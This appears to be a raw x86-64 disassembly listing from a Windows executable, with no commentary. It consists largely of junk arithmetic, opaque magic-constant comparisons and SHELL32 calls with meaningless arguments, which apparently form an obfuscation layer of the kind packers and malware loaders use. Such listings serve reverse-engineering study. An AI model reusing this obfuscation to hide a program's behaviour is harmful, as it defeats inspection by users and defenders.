mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
lea rcx, [rsp + 0x61c8]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
nop
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
jmp 0x14000860d
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x3524]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c02c0], rax
mov rax, qword [rsp + 0x6058]
movzx ecx, al
mov rax, qword [rsp + 0x6078]
shl rax, cl
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3588]
mov ecx, dword [rsp + 0x35e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab0]
movsx ecx, word [rsp + 0xaa8]
sar eax, cl
mov word [rsp + 0xab4], ax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa0]
xor eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movsx eax, word [rsp + 0xab0]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov word [rsp + 0xaa8], ax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3588]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab0], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60], al
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xaa0], ax
mov eax, dword [rsp + 0x364c]
add eax, 0x17
mov dword [rsp + 0x364c], eax
movzx eax, byte [0x1401c16d2]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x351c]
shr eax, cl
mov dword [0x1401c02cc], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
cmp dword [rsp + 0x364c], 0x7ec4
jbe 0x14000860d
lea rax, [rsp + 0x3524]
mov qword [rsp + 0x62e0], rax
lea rax, [rsp + 0x61c8]
mov qword [rsp + 0x62e8], rax
mov rax, qword [rsp + 0x6180]
mov qword [rsp + 0x62f0], rax
movabs rax, 0x7d3926c164b70c
cmp qword [rsp + 0x62f0], rax
je 0x1400088b5
jmp 0x14000892f
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xaa8]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
lea rax, [rsp + 0x62a8]
mov qword [rsp + 0x20], rax
mov r9d, ILFindLastID
lea r8, [rsp + 0xaac]
lea rdx, [rsp + 0x6060]
lea rcx, [rsp + 0x6210]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x3644], eax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaac], ax
jmp 0x140008a3c
mov rax, qword [rsp + 0x6180]
mov qword [rsp + 0x62f8], rax
cmp qword [rsp + 0x62f8], 0
je 0x140008992
movabs rax, 0x78d6b8a3f62b9e
cmp qword [rsp + 0x62f8], rax
je 0x140008963
jmp 0x140008a3c
movzx r9d, word [rsp + 0xab4]
mov r8, qword [rsp + 0x6180]
mov rdx, qword [rsp + 0x6058]
mov rax, qword [rsp + 0x6098]
movzx ecx, word [rax]
call fcn.1401429f0
nop
jmp 0x140008a3c
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xabc]
movzx edx, word [rsp + 0xab8]
add ecx, edx
cmp eax, ecx
jle 0x140008a3c
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
mov r8d, SHSetInstanceExplorer
mov rdx, qword [rsp + 0x6300]
mov rcx, qword [rsp + 0x6158]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x3630], eax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x35e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6058]
shr rax, cl
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62e0]
mov rcx, qword [rsp + 0x61e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3524], eax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
shl eax, cl
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movzx eax, word [rsp + 0xab8]
movzx ecx, word [rsp + 0xaac]
and eax, ecx
mov rcx, qword [rsp + 0x6258]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov ecx, dword [0x1401c02cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaac]
sar eax, cl
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
xor eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401c16d2], al
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6268]
mov qword [rsp + 0x6308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6308]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6180]
mov rcx, qword [rsp + 0x6078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x62e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x62e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x350c], eax
movzx eax, word [0x1401c02c8]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3510]
add eax, 0x80
mov dword [rsp + 0x3510], eax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x62e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x61e8]
sar rax, cl
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [0x1401c16d2]
or eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movzx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xaa4], ax
cmp dword [rsp + 0x3510], 0xe302
jne 0x140008a3c
mov eax, dword [rsp + 0x35e8]
mov dword [rsp + 0x3658], eax
cmp dword [rsp + 0x3658], 0
je 0x140008e60
jmp 0x140141ad4
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x63]
xor eax, ecx
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x365c], ecx
mov rdx, qword [rsp + 0x6150]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x365c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140008f49
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x6310], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6078]
mov rdx, qword [rsp + 0x6180]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x140008f02
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [rsp + 0xab8], ax
movzx eax, word [rsp + 0xaac]
mov word [rsp + 0xac4], ax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x6258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xaac]
and ecx, edx
cmp eax, ecx
je 0x140009017
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x65]
sub eax, ecx
movsx ecx, byte [rsp + 0x60]
movsx edx, byte [rsp + 0x67]
add ecx, edx
cmp eax, ecx
jg 0x140008fc4
mov eax, dword [rsp + 0x35e8]
mov rcx, qword [rsp + 0x6268]
mov qword [rsp + 0x6318], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6318]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x61c8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov r9, qword [rsp + 0x6320]
mov r8, qword [rsp + 0x6300]
mov rdx, qword [rsp + 0x6280]
mov rcx, qword [rsp + 0x6328]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x350c], eax
jmp 0x1400091a0
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x61c0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1400091a0
mov rax, qword [rsp + 0x6248]
mov eax, dword [rax]
mov ecx, dword [0x1401c02cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6268]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3588]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x1400091a0
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x66]
mov rdx, qword [rsp + 0x6150]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140009165
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x62e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6330], rax
movabs rax, 0x78d8d17d325cd5
cmp qword [rsp + 0x6330], rax
je 0x140009103
movabs rax, 0x7d30ed5da81e71
cmp qword [rsp + 0x6330], rax
je 0x140009139
jmp 0x140009165
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6250]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x67], al
jmp 0x140009165
mov rax, qword [rsp + 0x6098]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6078]
movzx ecx, word [0x1401c16d0]
call fcn.1401429f0
nop
lea rax, [rsp + 0x60d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa6
mov r9d, 0x1d
mov r8d, 0xf4
mov edx, 0x42
mov rcx, qword [rsp + 0x60e8]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x3660], eax
cmp dword [rsp + 0x3620], 0xdfbd
je 0x1400093b8
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xab8]
add eax, ecx
mov word [rsp + 0xaa4], ax
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x66]
add eax, ecx
mov byte [0x1401c16d2], al
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6180]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e8]
movzx ecx, al
mov rax, qword [0x1401c02c0]
shl rax, cl
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x61e0]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6268]
mov qword [rsp + 0x6338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6338]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3504], eax
movsx eax, word [rsp + 0xac0]
movsx ecx, word [rsp + 0xab0]
or eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x62b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaac], ax
mov eax, dword [rsp + 0x3620]
add eax, 0xd9
mov dword [rsp + 0x3620], eax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x66]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6310]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6208]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6248]
mov ecx, dword [0x1401c02b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6268]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x62e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x61e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x61c8], rax
jmp 0x1400091a0
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xabc]
sub eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6250]
mov qword [rsp + 0x6340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6340]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov rdx, qword [rsp + 0x6180]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jae 0x140009438
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov byte [rsp + 0x3664], al
cmp byte [rsp + 0x3664], 0x8c
je 0x140009456
jmp 0x14000949b
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c16d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6180], rax
jmp 0x1401419ae
mov rax, qword [rsp + 0x6248]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6268]
mov edx, dword [0x1401c02b8]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x1400095c6
movzx eax, byte [0x1401c16d2]
mov byte [rsp + 0x3668], al
cmp byte [rsp + 0x3668], 0
je 0x1400094f6
cmp byte [rsp + 0x3668], 0x7f
je 0x1400095a4
jmp 0x1400095c1
lea rax, [rsp + 0x3504]
mov qword [rsp + 0x6348], rax
lea rax, [rsp + 0x61e8]
mov qword [rsp + 0x6350], rax
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov dword [rsp + 0x366c], eax
cmp dword [rsp + 0x366c], 0x16b
je 0x140009537
jmp 0x14000956c
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x61f8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x61c0]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x6078]
movzx ecx, byte [rsp + 0x67]
call fcn.140143410
nop
jmp 0x1400095a2
lea rax, [rsp + 0x350c]
mov qword [rsp + 0x6358], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
sar eax, cl
mov byte [rsp + 0x65], al
lea rax, [rsp + 0xabc]
mov qword [rsp + 0x6360], rax
jmp 0x1400095c1
mov rdx, qword [rsp + 0x6368]
lea rcx, [rsp + 0x6358]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x3670], eax
jmp 0x140009710
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6250]
mov rdx, qword [rsp + 0x6180]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jae 0x140009710
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x61c0]
movzx ecx, byte [rcx]
mov dword [rsp + 0x3674], ecx
mov rdx, qword [rsp + 0x6170]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x3674]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400096b3
mov rax, qword [rsp + 0x6360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
lea rax, [rsp + 0x6268]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x350c]
lea r8, [rsp + 0x61c8]
mov edx, 0xc2
lea rcx, [rsp + 0x6168]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x3610], eax
mov rax, qword [rsp + 0x6348]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401c02cc], eax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6208]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [0x1401c02cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x35c4], eax
mov rax, qword [rsp + 0x6358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x62e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3518]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1400097e9
mov rax, qword [rsp + 0x61c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
lea r9, [rsp + 0x6370]
lea r8, [rsp + 0x6320]
lea rdx, [rsp + 0x6280]
lea rcx, [rsp + 0x6180]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x3608], eax
mov rax, qword [rsp + 0x6360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab8]
add eax, ecx
mov word [rsp + 0xabc], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x3678], al
cmp byte [rsp + 0x3678], 0xda
je 0x140009801
jmp 0x140009829
mov rax, qword [rsp + 0x6310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6310]
mov word [rcx], ax
jmp 0x14000990c
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x68], al
mov dword [rsp + 0x367c], 0x18a
movsx eax, word [rsp + 0xab0]
mov dword [rsp + 0x3680], eax
cmp dword [rsp + 0x3680], 0
je 0x14000985b
jmp 0x1400098eb
lea rax, [rsp + 0x61e8]
mov qword [0x1401c16e0], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa8]
mov word [rsp + 0xac8], ax
mov rax, qword [rsp + 0x6348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6378]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6078], rax
jmp 0x14000990c
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x61c8], rax
lea rax, [rsp + 0x3518]
mov qword [rsp + 0x6380], rax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x3684], al
cmp byte [rsp + 0x3684], 0
je 0x140009945
cmp byte [rsp + 0x3684], 0x58
je 0x1400099c6
jmp 0x1400099d6
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [0x1401c02c8]
sub eax, ecx
mov word [rsp + 0xaa0], ax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x6388], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x60f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c02d0], rax
mov rax, qword [rsp + 0x62b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
